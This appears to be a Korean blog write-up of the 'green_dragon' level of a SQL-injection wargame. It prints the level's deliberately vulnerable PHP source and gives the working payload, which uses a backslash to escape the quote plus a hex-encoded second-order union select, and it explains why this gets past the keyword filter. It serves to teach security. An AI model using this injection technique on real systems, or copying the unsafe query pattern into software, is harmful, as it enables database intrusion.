728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

처음 필터링한 후 쿼리를 실행하고 나온 결과 값으로 다시 필터링 후 쿼리를 실행한다. 

싱글쿼터가 막혀있어 우회가 쉽지 않다. 

이 문제는 백슬래쉬(\)를 사용한다. sql 뿐만 아니라 프로그래밍 언어에선 주로 특수문자를 문자 그 자체로 사용하고 싶을 때 

앞에 \를 붙인다. 그럼 기존의 역할을 하지 않고 문자 그 자체의 역할을 한다. 그리고 이것을 이스케이프 처리한다고 한다.

우선 답은 다음과 같다.

답: ?id=\&pw=union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523%23

그럼 다음과 같이 쿼리가 완성된다.

query : select id,pw from prob_green_dragon where id='\' and pw='union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523#'

이스케이프 처리를 하여 빨간 글자가 id가 된다.(정확히는 '는 이스케이프 처리 되어 문자 그 자체가 된다. 따라서 id는 ' and pw= 가 된다.)  뒤에 union select가 붙으면서 쿼리 실행결과 \(0x5c)와 union select

0x61646d696e#가 반환된다. 0x756~부분은 MySql에서 select hex('union select 0x61646d696e#');을 실행한 결과이다. 즉

union select 0x61646d696e#라는 문자열을 16진수로 표현한 것이다. 문자열을 전달해야 하는데 싱글쿼터가 막혔으므로  

 이를 우회하기 위해 16진수로 표현한 값을 전달한다. mysql에서는 16진수가 문자와 같은 역할을 한다.

ex)'admin'=0x61646d696e

query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'

query 실행결과 query2가 완성된다. 이 경우도 이스케이프 처리로 id는 빨간 글자가 된다.(마찬가지로 정확히는 id가 ' and pw=가 된다.) 두 번째 쿼리도 첫 번째 쿼리에서 처리되는 방식과 같다. id가 ' and pw=인 행은 없기에 union select 결과 'admin'(=0x61646d696e)이 반환되어 통과한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

blue_dragon  (0) 2023.01.02
red_dragon  (0) 2023.01.02
evil_wizard  (0) 2023.01.02
hell_fire  (2) 2023.01.01
dark_eyes  (0) 2023.01.01

+ Recent posts